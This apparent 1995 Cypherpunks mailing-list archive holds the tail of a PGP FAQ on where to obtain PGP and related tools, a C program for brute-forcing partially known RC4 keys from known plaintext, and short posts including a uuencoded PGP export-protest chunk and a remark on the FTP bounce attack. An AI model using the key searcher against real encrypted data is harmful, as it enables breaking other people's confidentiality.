ftp://tupac-amaru.informatik.rwth-aachen.de

ES

ftp://goya.dit.upm.es

IT

ftp://ftp.dsi.unimi.it/pub/security/crypt/PGP

FI

ftp://ftp.funet.fi/pub/crypt

NL

ftp://ftp.nl.net/pub/crypto/pgp
ftp.nic.surfnet.nl/surfnet/net-security/encryption/pgp

NZ

ftp://kauri.vuw.ac.nz
ftp://rs950.phys.waikato.ac.nz/pub/incoming/pgp (New Zealand ONLY)

SE

ftp://leif.thep.lu.se

TW

ftp://nctuccca.edu.tw/PC/wuarchive/pgp/

UK

ftp://ftp.demon.co.uk/pub/amiga/pgp
ftp://ftp.ox.ac.uk/pub/crypto/pgp
ftp://src.doc.ic.ac.uk/aminet/amiga-boing
ftp://unix.hensa.ac.uk/pub/uunet/pub/security/virus/crypt/pgp

USA

ftp://atari.archive.umich.edu/pub/atari/Utilities/pgp261st.zip (Atari)
ftp://ftp.leo.org/pub/comp/os/os2/crypt
ftp://wuarchive.wustl.edu/pub/aminet/util/crypt
ftp://ftp.netcom.com/pub/gr/grady/PGP_NOT_FOR_EXPORT/MacPGP262ca124.exe.sea.hqx
ftp://ftp.netcom.com/pub/gr/grady/PGP_NOT_FOR_EXPORT/MacPGP262ca124.src.sea.hqx

ZA

ftp://ftp.ee.und.ac.za/pub/crypto/pgp
/pub/archimedes
/pub/pgp
/pub/mac/MacPGP


HOW CAN I GET PGP BY EMAIL?

If you have access to email, but not to ftp, send a message
saying "help" to
ftpmail at decwrl.dec.com,
mailserv at nic.funet.fi, or
ftp-request at netcom.com

To get pgp 2.6.2i by email:

Send a message to hypnotech-request at ifi.uio.no with your request in the
Subject: field.

Subject              What you will get

GET pgp262i.zip      MS-DOS executable (uuencoded)
GET pgp262is.zip     MS-DOS source code (uuencoded)
GET pgp262is.tar.gz  UNIX source code (uuencoded)


For FAQ information, send e-mail to

mail-server at rtfm.mit.edu with
send usenet/news.answers/ftp-list/faq
in the body of the message.


WHERE IS MACPGP?

ftp://ftp.csn.net/mpj/README.MPJ
ftp://ftp.confusion.net/pub/pgp/mac-pgp/README
ftp://highway.alinc.com/users/jordyn/mac-pgp/README
ftp://miyako.dorm.duke.edu/pub/GETTING_ACCESS


WHERE IS VAX PGP?

Get the full PGP distribution, then get VAXPGP262.TAR.Z from
the berkeley site for additional files needed to compile PGP
for the VAX and a precompiled version for VAX/VMS 5.5-2.


WHERE CAN I GET MORE PGP INFORMATION?

ftp://ftp.prairienet.org/pub/providers/pgp/pgpfaq.txt
ftp://starfire.ne.uiuc.edu/preston/pgpquick.ps (and pgpquick.doc)
http://www.prairienet.org/~jalicqui/
http://www.mit.edu:8001/people/warlord/pgp-faq.html
http://draco.centerline.com:8080/~franl/crypto.html
http://draco.centerline.com:8080/~franl/pgp/bug0.html
http://www.eff.org/pub/EFF/Issues/Crypto/ITAR_export/cryptusa_paper.ps.gz
http://www.eff.org/pub/EFF/Issues/Crypto/ITAR_export/cryptusa.paper
http://www.cco.caltech.edu/~rknop/amiga_pgp26.html
Email
pgp-help at hks.net
ftp://ds.internic.net/internet-drafts/draft-pgp-pgpformat-00.txt
ftp://ds.internic.net/internet-drafts/draft-ietf-pem-mime-08.txt
http://www.cis.ohio-state.edu/
ftp://ftp.csn.net/mpj/public/pgp/MacPGP262_manual.sit.hqx
http://www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html
http://web.cnam.fr/Network/Crypto/ (c'est en Francais)
http://web.cnam.fr/Network/Crypto/survey.html (en Anglais)
http://www2.hawaii.edu/~phinely/MacPGP-and-AppleScript-FAQ.html
ftp://ftp.prairienet.org/pub/providers/pgp/pgpbg11.asc (Beginner's Guide)
Beginner's Guide: send email to
slutsky at lipschitz.sfasu.edu, subject: bg2pgp


WHAT ARE SOME GOOD PGP BOOKS?

Protect Your Privacy: A Guide for PGP Users
by William Stallings
Prentice Hall PTR
ISBN 0-13-185596-4
US $19.95
This is a good technical manual for PGP for most users, and makes a better
reference than the "official" documentation that comes with PGP.  I recommend
it highly.

PGP: Pretty Good Privacy
by Simson Garfinkel
O'Reilly & Associates, Inc.
ISBN 1-56592-098-8
US $24.95

E-Mail Security: How to Keep Your Electronic Mail Private
"Covers PGP/PEM"
by Bruce Schneier
Wiley Publishing

The Computer Privacy Handbook: A Practical Guide to E-Mail Encryption, Data
Protection, and PGP PRivacy Software
by Andre Bacard
Peachpit Press
ISBN 1-56609-171-3
US$24.95
800-283-9444 or 510-548-4393

This is an interesting book on the sociology and politics of privacy in the
computer age as well as a practical manual on using PGP.  Must reading for
all members of Congress, presidential staff, members of Parliament, and
ordinary citizens who would like to take reasonable steps to protect
themselves from some forms of crime that have been made easy by technology.


THE OFFICIAL PGP USER'S GUIDE
by Philip R. Zimmerman
MIT Press
April 1995 - 216 pp. - paper - $14.95(US) - ISBN 0-262-74017-6 ZIMPP
Standard PGP documentation neatly typeset and bound.

PGP SOURCE CODE AND INTERNALS
by Philip R. Zimmerman
April 1995 - 804 pp. -
$55.00(US) - 0-262-24039-4 ZIMPH
This is a handy printed reference with commented source code for PGP 2.6.2
with great educational value.  This is a great way to study some of the
computer science and information theory behind the world's best email privacy
tool without having either a computer or reams of printouts handy.
Recommended reading on long airline flights for serious students of computer
science and computer security.

Ordering information for the last two books:
Call US Toll Free 1-800-356-0343 or 617-625-8569.
Cite code 5CSC and number 661.
Allow 4-6 weeks for delivery within North America.
Allow 8-12 weeks for delivery outside of North America.

How to Use PGP, 61 pages,  (Pub #121) from the Superior Broadcasting Company,
Box 1533-N, Oil City, PA 16301, phone: (814) 678-8801 (about $10-$13).


WHERE CAN I GET PGP LANGUAGE MODULES?

These are suitable for most PGP versions.

http://www.ifi.uio.no/~staalesc/PGP/language.html
German

ftp://ftp.ox.ac.uk/pub/crypto/pgp/language/pgp23_german.txt
ftp://ftp.csn.net/mpj/public/pgp/pgp_german.txt
ftp://ftp.csn.net/mpj/public/pgp/PGP_german_docs.lha
ftp://ftp.informatik.uni-hamburg.de:/pub/virus/crypt/pgp/language/pgp_german.asc
ftp://ftp.leo.org/pub/comp/os/os2/crypt/pgp262i-german.zip

Italian

ftp://ftp.dsi.unimi.it/pub/security/crypt/PGP/pgp-lang.italian.tar.gz
ftp://ftp.funet.fi/pub/crypt/ghost.dsi.unimi.it/PGP/pgp-lang.italian.tar.gz
ftp://ftp.csn.net/mpj/public/pgp/pgp-lang.italian.tar.gz

Japanese

ftp://ftp.ox.ac.uk/pub/crypto/pgp/language/pgp23_japanese.tar.gz
ftp://ftp.csn.net/mpj/public/pgp/pgp-msgs-japanese.tar.gz

Lithuanian

ftp://ftp.ox.ac.uk/pub/crypto/pgp/language/pgp23_lithuanian.zip
ftp://ftp.csn.net/mpj/public/pgp/pgp23ltk.zip

Norwegian

ftp://ftp.ox.ac.uk/pub/crypto/pgp/languate/pgp23_norwegian.tar.gz
ftp://ftp.ox.ac.uk/pub/crypto/pgp/languate/pgp26i_norwegian.zip

Romanian

ftp://ftp.ox.ac.uk/pub/crypto/pgp/language/pgp26_romanian.tar.gz
ftp://ftp.encomix.es/pub/pgp/lang/pgp-romanian.zip
http://www.info.polymtl.ca/zuse/tavi/www/archive/ro_2.6.2.zip
http://www.info.polymtl.ca/zuse/tavi/www/archive/language.txt

Russian

ftp://ftp.ox.ac.uk/pub/crypto/pgp/language/pgp26_russian.zip
ftp://ftp.kiae.su/unix/crypto/pgp/pgp26ru.zip
ftp://ftp.csn.net/mpj/public/pgp/pgp26ru.zip

Spanish

ftp://ftp.dsi.unimi.it/pub/security/crypt/PGP/pgp-lang.spanish.tar.gz
ftp://ftp.funet.fi/pub/crypt/ghost.dsi.unimi.it/pgp-lang.spanish.tar.gz
ftp://ftp.csn.net/mpj/public/pgp/pgp-lang.spanish.tar.gz

Swedish

ftp://ftp.ox.ac.uk/pub/crypto/pgp/language/pgp23_swedish.txt
ftp://ftp.csn.net/mpj/public/pgp/pgp_swedish.txt


IS PGP LEGAL?

Pretty Good Privacy is legal if you follow these rules:

Don't export PGP from the USA except to Canada, or from
Canada except to the USA, without a license.

If you are in the USA, use either Viacrypt PGP (licensed
for commercial use) or MIT PGP using RSAREF (limited to
personal, noncommercial use).  Outside of the USA, where
RSA is not patented, you may prefer to use a version of
PGP (2.6.i) that doesn't use RSAREF to avoid the
restrictions of that license.

If you are in a country where the IDEA cipher patent
holds in software (including the USA, Canada, and some
countries in Europe), make sure you are licensed to use
the IDEA cipher commercially before using PGP
commercially.  (No separate license is required to use
the freeware PGP for personal, noncommercial use).  For
direct IDEA licensing, contact Ascom Systec.

Ascom Systec has taken over the distribution of IDEA
licenses effective April 1, 1995. Erhard Widmer is the
person responsible for the sales aspects, and Peter
Hartmann is responsible for the technical aspects. They
can be reached as follows:


Erhard Widmer,  Ascom Systec AG, Dep't. CMVV      Phone  ++41 64 56 59 83
Peter Hartmann, Ascom Systec AG, Dep't. CMN       Phone  ++41 64 56 59 45

Fax:            ++41 64 56 59 90
e-mail:         IDEA at ascom.ch
Mail address:   Gewerbepark, CH-5506 Maegenwil (Switzerland)

Don't sell PGP based on Philip Zimmermann's source code in
North America unless you are reselling for Viacrypt (because
they have an exclusive marketing agreement on Philip
Zimmermann's copyrighted code). (Selling shareware/freeware
disks or connect time is OK).  This restriction might be
lifted with PGP 3.0, since it is a complete rewrite by Colin
Plumb.  Distribution and use restrictions on that version are
still to be determined.

If you modify PGP (other than porting it to another platform
or adapting it to another compiler), don't call it PGP (TM)
or Pretty Good Privacy (TM) without Philip Zimmermann's
permission.


WHAT IS PHILIP ZIMMERMANN'S LEGAL STATUS?

Philip Zimmermann is under investigation for alledged violation
of export regulations, with a grand jury hearing evidence.
There is speculation that the Feds are trying to make an
example of Phil by with prolonged and expensive legal
proceedings, thus reaping a reward of Fear, Uncertainty, and
Doubt to discourage development and use of strong crypto in the
USA.

Even though people in this country are considered innocent
until proven guilty, there is a problem with the system in that
it can take lots of money for innocent folks to defend
themselves.  Because of the broad implications for freedom,
privacy, and the First Amendment of the U. S. Constitution in
this case, I implore all of you who can to help out with Phil's
rather significant legal and travel expenses involved in his
defense.  Phil is a nice guy with a wife and two children to
support, and he has done a great deal in his PGP social
activism to help all of us.

To send a check or money order by mail, make it payable, NOT to
Phil Zimmermann, but to "Philip L. Dubois, Attorney Trust
Account."  Mail the check or money order to the following
address:

Philip Dubois
2305 Broadway
Boulder, CO USA 80304
(Phone #: 303-444-3885)

To send a wire transfer, your bank will need the following
information:

Bank: VectraBank
Routing #: 107004365
Account #: 0113830
Account Name: "Philip L. Dubois, Attorney Trust Account"

To contribute using your credit card (secured with PGP), simply
compose a message in plain ASCII text giving the following: the
recipient ("Philip L.  Dubois, Attorney Trust Account"); the
bank name of your VISA or MasterCard; the name which appears on
it (yours, hopefully :-)); a telephone number at which you can
be reached in case of problems; the card number; date of
expiry; and, most important, the amount you wish to donate.
(Make this last item as large as possible.) Then use PGP to
encrypt and ASCII-armor the message using Phil Dubois's public
key, distributed with PGP 2.6.2.  E-mail the output file to
Phil Dubois (dubois at csn.org).
Please be sure to use a "Subject:" line reading something like
"Phil Zimmermann Defense Fund" so he'll know to decrypt it
right away.


WHERE CAN I GET WINDOWS & DOS SHELLS FOR PGP?

http://www.ifi.uio.no/~staalesc/AutoPGP.html
ftp://oak.oakland.edu/SimTel/msdos/security/apgp22b.zip
ftp://oak.oakland.edu/SimTel/win3/security/pgpw40.zip
http://alpha.netaccess.on.ca/~spowell/crypto/pwf31.zip
ftp://ftp.netcom.com/pub/dc/dcosenza/pgpw40.zip
ftp://Sable.ox.ac.uk/pub
ftp://ftp.firstnet.net/pub/windows/winpgp/pgpw40.zip  <WinPGP's home site>
http://www.firstnet.net/~cwgeib/welcom.html
ftp://ftp.netcom.com/pub/ec/ecarp/pgpwind.zip
http://www.eskimo.com/~joelm (Private Idaho)
ftp://ftp.eskimo.com/~joelm
http://www.xs4all.nl/~paulwag/security.htm
http://www.LCS.com/winpgp.html
ftp://mirrors.aol.com/mir01/circa/pub/pc/win3/util/pwf31.zip
http://netaccess.on.ca/~rbarclay/index.html
http://netaccess.on.ca/~rbarclay/pgp.html
ftp://ftp.leo.org/pub/comp/os/os2/crypt/gcppgp10.zip
ftp://ftp.leo.org/pub/comp/os/os2/crypt/pmpgp.zip

Compuserve:
Library 3, European Forum.
Library 6, NCSA Forum
PCWorld Online Forum.
WUGNET Forum.
WinShare Forum

See also the BBS list for PGP, above.


WHERE CAN I GET THE MACPGP KIT?

ftp://duke.bwh.harvard.edu:/pub/adam/mcip/MacPGP_icons.sit.hqx
ftp://duke.bwh.harvard.edu:/pub/adam/mcip/MacPGPkit.hqx
ftp://duke.bwh.harvard.edu:/pub/adam/mcip/MacPGPkitSources.sit.hqx
ftp://ftp.netcom.com/pub/dd/ddt/crypto/pgp_tools/MacPGPkit1.6.sit

OTHER MAC ADD-ONS

ftp://ftp.netcom.com/pub/dd/ddt/crypto/pgp_tools/ChainMail.0.7.sit
ftp://ftp.netcom.com/pub/dd/ddt/crypto/pgp_tools/Eudora->PGP Scripts1.5.sit
ftp://ftp.csn.net/mpj/I_will_not_export/crypto_???????/pgp/mac/AppleScripts


WHERE IS THE PGP 3.0 API DRAFT?

The (prelim. draft) PGP 3.0 API is at:

ftp://ftp.netcom.com/pub/dd/ddt/crypto/crypto_info/950212 pgp3spec.txt
All comments on it for the PGP 3.0 API Team should be sent to:
pgp at lsd.com


WHAT OTHER FILE ENCRYPTION (DOS, MAC) TOOLS ARE THERE?

PGP can do conventional encryption only of a file (-c) option,
but you might want to investigate some of the other
alternatives if you do this a lot.  Alternatives include
Quicrypt and Atbash2 for DOS, DLOCK for DOS & UNIX, Curve
Encrypt (for the Mac), HPACK (many platforms), and a few
others.

Quicrypt is interesting in that it comes in two flavors:
shareware exportable and registered secure.  Atbash2 is
interesting in that it generates ciphertext that can be read
over the telephone or sent by Morse code.  DLOCK is a no-frills
strong encryption program with complete source code.  Curve
Encrypt has certain user-friendliness advantages.  HPACK is an
archiver (like ZIP or ARC), but with strong encryption.

A couple of starting points for your search are:

ftp://ftp.csn.net/mpj/qcrypt10.zip
ftp://ftp.informatik.uni-hamburg.de/pub/virus/crypt/file/
ftp://ftp.csn.net/mpj/I_will_not_export/crypto_???????/file/
(see ftp://ftp.csn.net/mpj/README for the ???????)
ftp://ftp.miyako.dorm.duke.edu/mpj/crypto/file/


HOW DO I SECURELY DELETE FILES (DOS)?

If you have the Norton Utilities, Norton WipeInfo is pretty
good.  I use DELETE.EXE in del110.zip, which is really good at
deleting existing files, but doesn't wipe "unused" space.

ftp://ftp.csn.net/mpj/public/del110.zip
ftp://ftp.demon.co.uk/pub/ibmpc/security/realdeal.zip


WHAT DO I DO ABOUT THE PASS PHRASE IN MY WINDOWS SWAP FILE?

The nature of Windows is that it can swap any memory to disk at
any time, meaning that all kinds of interesting things could
end up in your swap file.

ftp://ftp.firstnet.net/pub/windows/winpgp/wswipe.zip


WHAT EVER HAPPENED TO PGPfone(tm)?

It is still in the design stages, with a release target of August 1st.
Get Nautilus, instead, for now.


WHERE DO I GET NAUTILUS?

Bill Dorsey, Pat Mullarky, and Paul Rubin have come out with a
program called Nautilus that enables you to engage in secure
voice conversations between people with multimedia PCs and
modems capable of at least 9600 bps.

See

ftp://ripem.msu.edu/pub/crypt/GETTING_ACCESS
ftp://ripem.msu.edu/pub/crypt/other/naut091.zip

ftp://ftp.csn.net/mpj/README
ftp://ftp.csn.net/mpj/I_will_not_export/crypto_???????/voice/naut091.zip

ftp://ftp.netcom.com/pub/mp/mpj/README
ftp://ftp.netcom.com/pub/mp/mpj/I_will_not_export/crypto_???????/voice/naut091.zip

ftp://miyako.dorm.duke.edu/pub/GETTING_ACCESS
ftp://miyako.dorm.duke.edu/mpj/crypto/voice/naut091.zip
The Colorado Catacombs BBS 303-772-1062

ftp://ftp.ox.ac.uk/pub/crypto/misc


HOW DO I ENCRYPT MY DISK ON-THE-FLY?

Rather than manually encrypting and decrypting files, it is
sometimes easier (and therefore more secure, because you are
more likely to use it) to use a utility that encrypts or
decrypts files on the fly as you use them in your favorite
applications.  This also allows you to automatically encrypt
temporary files generated by your applications if they are on
the encrypted volume.

http://www.cs.auckland.ac.nz/~pgut01/sfs.html
ftp://ftp.informatik.uni-hamburg.de/pub/virus/crypt/disk/
ftp://ftp.csn.net/mpj/I_will_not_export/crypto_???????/disk/
(see
ftp://ftp.csn.net/mpj/README for the ???????)
ftp://miyako.dorm.duke.edu/mpj/crypto/disk/
ftp://ftp.nic.surfnet.nl/surfnet/net-security/encryption/disk/
ftp://ftp.demon.co.uk/pub/ibmpc/secdev/secdev14.arj

EMAIL/PGP LINKS

http://cag-www.lcs.mit.edu/mailcrypt/ (EMACS LISP)


WHERE IS PGP'S COMPETION?

RIPEM is the second most popular freeware email encryption
package.  I like PGP better for lots of reasons, but if for
some reason you want to check or generate a PEM signature,
RIPEM is available at ripem.msu.edu.  There is also an
exportable RIPEM/SIG.

ftp://ripem.msu.edu/pub/GETTING_ACCESS


HOW DO I PUBLISH MY PGP PUBLIC KEY?

Send mail to one of these addresses with the single word "help"
in the subject line to find out how to use them.  These servers
sychronize keys with each other.

pgp-public-keys at burn.ucsd.edu
pgp-public-keys at pgp.cc.gatech.edu
pgp-public-keys at goliat.upc.es
pgp-public-keys at demon.co.uk
pgp-public-keys at dsi.unimi.it
pgp-public-keys at ext221.sra.co.jp
pgp-public-keys at fbihh.informatik.uni-hamburg.de
pgp-public-keys at jpunix.com
pgp-public-keys at kiae.su
pgp-public-keys at kr.com
pgp-public-keys at kram.org
pgp-public-keys at kub.nl
pgp-public-keys at nexus.hpl.hp.com
pgp-public-keys at pgp.ai.mit.edu
pgp-public-keys at pgp.barclays.co.uk
pgp-public-keys at gondolin.org
pgp-public-keys at pgp.dhp.com
pgp-public-keys at pgp.hpl.hp.com
pgp-public-keys at pgp.iastate.edu
pgp-public-keys at pgp.kr.com
pgp-public-keys at pgp.mit.edu
pgp-public-keys at pgp.ox.ac.uk
pgp-public-keys at pgp.pipex.net
pgp-public-keys at srce.hr
pgp-public-keys at sw.oz.au
pgp-public-keys at uit.no
pgp-public-keys at vorpal.com
pgp-public-keys at nic.surfnet.nl

WWW interface to the key servers:
http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
http://www-lsi.upc.es/~alvar/pks/pks-toplev.html

For $20/year or so, you can have your key officially certified
and published in a "clean" key database that is much less
susceptible to denial-of-service attacks than the other key
servers.  Send mail to

info-pgp at Four11.com for information, or
look at
http://www.Four11.com/

PGP public keys which are stored on SLED's Four11 Key Server are
now retrievable by fingering UserEmailAddress at publickey.com.

Example:  My e-mail addresses is mpj at csn.org

finger mpj at csn.org@publickey.com

My key (mpj8) is at Four11.com, at

ftp://ftp.csn.net/mpj/mpj8.asc,
on the key servers, on my BBS, and available by finger.


WHICH FAQ IS THE OFFICIAL ONE?

The main alt.security.pgp FAQ is published by Jeff A. Licquia,

jalicqui at prairienet.org; and is available at

ftp://ftp.prairienet.org/pub/providers/pgp/pgpfaq.txt

This shorter FAQ just covers a few of the most frequent
questions and points you to the main FAQ for more answers.
This file is

ftp://ftp.csn.net/mpj/getpgp.asc,
and is available in two parts for more limited nets as

ftp://ftp.csn.net/mpj/getpgp1.asc
and

ftp://ftp.csn.net/mpj/getpgp2.asc

There are some other periodic FAQ-related postings, too, like
the miniFAQ posted by Andre Bacard, which is more about
promoting the use of PGP than where to get it or how to use
it.

FAQs are also posted to

news.answers and

alt.answers, and
archived at rtfm.mit.edu.




CAN I COPY AND REDISTRIBUTE THIS FAQ?

Permission is granted to distribute unmodified copies of this FAQ.


                 ___________________________________________________________
                |                                                           |
|\  /| |        | Michael Paul Johnson  Colorado Catacombs BBS 303-772-1062 |
| \/ |o|        | PO Box 1151, Longmont CO 80502-1151 USA   Jesus is alive! |
|    | | /  _   | mpj at csn.org aka mpj at netcom.com m.p.johnson at ieee.org       |
|    |||/  /_\  | ftp://ftp.csn.net/mpj/README.MPJ          CIS: 71331,2332 |
|    |||\  (    | ftp://ftp.netcom.com/pub/mp/mpj/README  -. --- ----- .... |
|    ||| \ \_/  | PGPprint=F2 5E A1 C1 A6 CF EF 71  12 1F 91 92 6A ED AE A9 |
                |___________________________________________________________|





-----BEGIN PGP SIGNATURE-----
Version: 2.7.1

iQCVAwUBMANugfX0zg8FAL9FAQHn+gP/RmULFLJI0FkqmU2Tne5+Xjoy4ZAM5CAU
IPaMIbi6Hbqsx2zbVZgPnu4TetXW1hKCRLMcsUoKimJX5cc1LugNhM0IjhBwfN+D
3sfN09KBhGD6f949sg/D4c6BuSfU//d841UEDD4hSfik5D5pPqoPr5tVciYeCC+A
d3wqHiPyNzw=
=Hj3T
-----END PGP SIGNATURE-----





From asb at nexor.co.uk  Wed Jul 12 02:55:39 1995
From: asb at nexor.co.uk (Andy Brown)
Date: Wed, 12 Jul 95 02:55:39 PDT
Subject: general RC4 key searcher: optimisations anyone?
Message-ID: <Pine.SOL.3.91.950712102618.28272C-100000@eagle.nexor.co.uk>


Hi,

The following program is the part of my RC4 key search program that
actually does the searching, adapted into a small speed test.  It is
designed to handle any size key, with any number of unknown bits, in any
position within the key.  There are, of course, problems with it in its 
current form:


1.  It's too slow.  I get 50% of the performance of the bruterc4.c on 
    utopia.hacktic.nl (~9500/sec on a 60Mhz Pentium and ~12000/sec on a 
    Sparc 20)

2.  It can only handle bit offsets of 0 (i.e. the lower n bits of the key 
    are unknown).  I'm unsure of a really fast way of generalising this 
    to any (contiguous) n bits.

3.  There are probably bugs.


The code is included below.  Does anyone have any comments?


- Andy

--------------------------- begin code fragment ------------------------

/* RC4 Brute Force Key Searcher, by Andy Brown 1995
   
   This part of the package is meant to be portable between most systems
   so that Unix users can take part in the searching.  After all, the
   kind of really high powered systems that can make a large dent in the
   key space are not running Windows NT.  You will, however, require
   an ANSII compiler */


#include <stdio.h>
#include <time.h>
#include <ctype.h>

/* function declarations */

int main(void);
char *search_range(char *,unsigned long,unsigned long,char *,int,
                   unsigned char *,unsigned char *,int);

static void hex_to_bytes(char *,unsigned char *);


#define SwapByte(a,b) ((a)^=(b),(b)^=(a),(a)^=(b))
#define hexdigit(a) ((a)<10 ? (a)+'0' : (a)-10+'A')
#define decdigit(a) (isdigit(a) ? (a)-'0' : toupper(a)-'A'+10)


/*****************************/
/* Main function: test speed */
/*****************************/

int main(void)
{
/* The key has 20 "unknown" bits */

  unsigned char *keyhex="0102030405060708090A0B0C0D000000";
  unsigned char *first="0";
  unsigned char ciphertext[11]=
    { 0xF2,0xA2,0xA0,0xF6,0x0F,0xBD,0x69,0x98,0xC0,0xFF,0x4C };

  char *retval;
  time_t before,diff;

  before=time(NULL);
  retval=search_range(first,0xFFFFF,0,keyhex,0,"hello world",ciphertext,11);
  diff=time(NULL)-before;

  if(retval==NULL)
    fprintf(stderr,"Key not found, bug in key search code\n");
  else
    fprintf(stderr,"Key is: %s\n%ld keys/sec\n",retval,0xFFFFFL/(long)diff);

  return 0;
}


/***********************************/ 
/* Search a region of the keyspace */
/***********************************

Arguments:
  start_str:  ASCII hex representation of the first "search key"
  testsl:     low order 32 bits of the number of keys to test
  testsh:     high order 32 bits of the number of keys to test
  keyhex:     ASCII hex representation of the key "skeleton"
              Zeros appear in the key throughout the search range
  firstbit:   zero based index of the first unknown bit
  plaintext:  known plaintext
  ciphertext: corresponding ciphertext
  textsize:   number of bytes of plain/ciphertext

NB: A "search key" is an offset into the searchable keyspace, not
    a full key in itself.  It may vary from 0..(2^numbits)-1

Returns:
  NULL if the key is not found in the search range, otherwise an ASCII
  hex representation of the key is returned.  This pointer must be
  dynamically allocated with malloc
*/

char *search_range(char *start_str,unsigned long testsl,unsigned long testsh,
		   char *keyhex,int firstbit,
                   unsigned char *plaintext,unsigned char *ciphertext,
		   int textsize)
{
  unsigned char *start,*key,*skeleton,state[256],index1,index2;
  char *retval;
  int keybytes,startbytes,x,y,counter,i,found=0;
  unsigned long lowcounter,highcounter;

/* allocate space for the key bytes and our starting value */

  keybytes=strlen(keyhex)/2;
  if(strlen(keyhex)&1)
    keybytes++;

  startbytes=strlen(start_str)/2;
  if(strlen(start_str)&1)
    startbytes++;

  start=(unsigned char *)malloc(keybytes);
  memset(start,'\0',keybytes);
  skeleton=(unsigned char *)malloc(keybytes);
  key=(unsigned char *)malloc(keybytes);

/* convert the hex strings to bytes */

  hex_to_bytes(start_str,start+keybytes-startbytes);
  hex_to_bytes(keyhex,skeleton);

/* OK, now things get time-critical.  We are about to drop into a loop
   that prepares and tests each candidate key */

  for(highcounter=0;highcounter<=testsh;highcounter++)
  {
    for(lowcounter=0;lowcounter<testsl;lowcounter++)
    {
    /* construct the key from the skeleton and our part */

      if(!firstbit)
      {
	memcpy(key,skeleton,keybytes);
	for(i=keybytes-1;i>startbytes;i--)
	  key[i]|=start[i];
      }

    /* prepare the key */

      for(counter=0;counter<256;counter++)
	state[counter]=(unsigned char)counter;

      x=y=0;
      index1=index2=0;             

      for(counter=0;counter<256;counter++)
      {
	index2=(key[index1]+state[counter]+index2) & 0xFF;
      	SwapByte(state[counter],state[index2]);

      	if(++index1==keybytes)
	  index1=0;
      }

/* do two RC4 operations as a preliminary test.  If this fails then test
   the next one, then the rest.  This should result in a lot of rejections
   before the rest of the loop is entered */

      x=(x+1) & 0xFF;
      y=(state[x]+y) & 0xFF;
      SwapByte(state[x],state[y]);
      if(plaintext[0]==(ciphertext[0]^state[(state[x]+state[y]) & 0xFF]))
      {
	x=(x+1) & 0xFF;
      	y=(state[x]+y) & 0xFF;
      	SwapByte(state[x],state[y]);
      	if(plaintext[1]==(ciphertext[1]^state[(state[x]+state[y]) & 0xFF]))
      	{

      /* rest of the loop.  This will only be entered, on average once
	 every 65536 tests */

	  for(i=2;i<textsize;i++)
	  {
	    x=(x+1) & 0xFF;
	    y=(state[x]+y) & 0xFF;
	    SwapByte(state[x],state[y]);
	    if(plaintext[i]!=(ciphertext[i]^state[(state[x]+state[y]) & 0xFF]))
	      break;
	  }

	/* if we got to the end of the loop then that's it.  We have won */

	  if(i==textsize)
	  {
	    found=1;
      	    goto endloops;
	  }
      	}
      }
  
    /* increment our key segment */

      i=keybytes-1;
      do
      {
      	start[i]++;
      } while(!start[i--]);
    }
  }

/* free memory */

endloops:
  free(start);
  free(skeleton);

  if(found)
  {
    retval=(char *)malloc((keybytes*2)+2);
    i=0;
    for(i=0;i<keybytes;i++)
    {
      retval[i*2]=hexdigit((key[i]&0xF0)>>4);
      retval[(i*2)+1]=hexdigit(key[i]&0xF);
    }
    retval[i*2]='\0';

    return retval;
  }
  else
    return NULL;
}


/*******************************/
/* convert hex string to bytes */
/*******************************

eg. "05FC9" would become 0x00,0x5F,0xC9 */

static void hex_to_bytes(char *str,unsigned char *bytes)
{
  int i,firstzero=(strlen(str)&1) ? 1 : 0;
  unsigned char b;

  i=0;
  while(i<(int)strlen(str))
  {
    if(firstzero)
      firstzero=0;
    else
    {
      b=(decdigit(str[i]))<<4;
      i++;
    }
    b|=decdigit(str[i]);
    *bytes++=b;
    i++;
  }
}
-------------------------- end code fragment -----------------------






From rah at shipwright.com  Wed Jul 12 03:58:40 1995
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 12 Jul 95 03:58:40 PDT
Subject: Num Rat
Message-ID: <v02120d0eac295a93d5c5@[199.0.65.105]>


>Does anyone know more of this program? Or care to summarize
>Benford's Law?

I can't wait to learn it. ;-).

One more bit of market efficiency for the regulatory arbitrage business.

I can see it now: an application of the "BabeWatch" idea to the 1040 form....

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com)
Shipwright Development Corporation, 44 Farquhar Street, Boston, MA 02131
USA (617) 323-7923
"Reality is not optional." --Thomas Sowell
>>>>Phree Phil: Email: zldf at clark.net  http://www.netresponse.com/zldf <<<<<







From carolab at censored.org  Wed Jul 12 04:05:34 1995
From: carolab at censored.org (Censored Girls Anonymous)
Date: Wed, 12 Jul 95 04:05:34 PDT
Subject: 17 Down, 696 to go.......
Message-ID: <Pine.BSI.3.91.950712060006.1989A-100000@usr4.primenet.com>



Hey! if I can do it, any clueful c'punk can do it!

Love Always,

Carol Anne

                            PGP.ZIP PART [017/713]
                                       
   This just cycles through: when part 713 is reached, part 0 will be
   recycled. We are on export 0 at the moment.
     _________________________________________________________________
   

------------------ PGP.ZIP Part [017/713] -------------------
M8H,),S$8G>&.WP(8IRA`-M['+`Q%&_C"">5-F%LX@<_Q$;*P'',Q$Z/AA[8M
MF=O0H+*%(-S%&>S%+FS&<LS%3(Q&#W1"<]2%`H^;,]^1C$'HBN8PX$4SYAU^
MPGD<Q0ZLA0D+,`MCT!LA**4M[-JPAK9F?40!AJ,CW"'%DR#:'9?Q)3[%<DQ`
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/


Member Internet Society - Certified BETSI Programmer - WWW Page Creation
-------------------------------------------------------------------------
Carol Anne Braddock         <--now running linux 1.0.9 for your pleasure
carolann at censored.org             __  __     ____  ___       ___ ____
carolab at primenet.com             /__)/__) / / / / /_  /\  / /_    /
carolb at spring.com               /   / \  / / / / /__ /  \/ /___  /
-------------------------------------------------------------------------
A great place to start
My Cyber Doc...






From danisch at ira.uka.de  Wed Jul 12 04:10:14 1995
From: danisch at ira.uka.de (Hadmut Danisch)
Date: Wed, 12 Jul 95 04:10:14 PDT
Subject: The FTP Bounce Attack
Message-ID: <9507121103.AA14708@elysion.iaks.ira.uka.de>



Also a nice way to walk through firewalls.

Perhaps you could write a SATAN script to check it.
And you should send a copy of your description to
CERT.

Hadmut





From perry at imsi.com  Wed Jul 12 04:46:48 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 04:46:48 PDT
Subject: RACIST MILITIA: ATF
